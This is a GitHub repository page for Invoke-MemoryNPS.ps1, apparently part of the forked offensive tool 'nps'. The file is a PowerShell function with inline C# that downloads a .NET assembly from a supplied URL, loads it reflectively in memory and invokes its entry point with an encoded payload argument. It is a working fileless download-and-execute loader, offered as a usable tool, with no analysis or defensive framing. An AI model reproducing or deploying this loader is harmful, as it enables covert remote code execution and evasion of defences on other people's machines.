forked from jbarcia/nps
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathInvoke-MemoryNPS.ps1
More file actions
36 lines (32 loc) · 859 Bytes
/
Invoke-MemoryNPS.ps1
File metadata and controls
36 lines (32 loc) · 859 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
function Invoke-MemoryNPS {
[CmdletBinding()]
Param(
[String]$NPSUrl,
[String]$EncodedPayload
)
$source = @"
using System;
using System.Net;
using System.Reflection;
namespace nps
{
public static class csharp
{
public static void LoadBinary(string url, string payload)
{
WebClient wc = new WebClient();
Byte[] buffer = wc.DownloadData(url);
var assembly = Assembly.Load(buffer);
var entry = assembly.EntryPoint;
var args = new string[2] {"-enc", payload};
var nothing = entry.Invoke(null, new object[] { args });
}
}
}
"@
if (-not ([System.Management.Automation.PSTypeName]'nps.csharp').Type)
{
Add-Type -ReferencedAssemblies $Assem -TypeDefinition $source -Language CSharp
}
[nps.csharp]::LoadBinary($NPSUrl, $EncodedPayload)
}